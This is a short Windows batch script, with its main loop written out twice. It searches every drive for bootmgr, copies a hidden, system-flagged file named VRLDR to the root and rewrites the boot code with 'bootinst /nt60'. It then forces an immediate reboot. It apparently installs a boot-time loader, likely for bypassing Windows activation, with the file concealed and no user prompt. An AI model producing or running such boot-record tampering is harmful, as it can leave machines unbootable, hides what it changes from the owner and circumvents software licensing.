@echo off
for %%A in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (
if exist %%A\bootmgr (
if not exist %%A\setup.exe (
if exist %%A\VRLDR attrib %%A\VRLDR -h -s -r
copy VRLDR %%A\VRLDR>nul
attrib %%A\VRLDR +h +s +r
bootinst /nt60 %%A>nul
shutdown -r -t 0
)
)
)
for %%A in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (
if exist %%A\bootmgr (
if not exist %%A\setup.exe (
if exist %%A\VRLDR attrib %%A\VRLDR -h -s -r
copy VRLDR %%A\VRLDR>nul
attrib %%A\VRLDR +h +s +r
bootinst /nt60 %%A>nul
shutdown -r -t 0
)
)
)
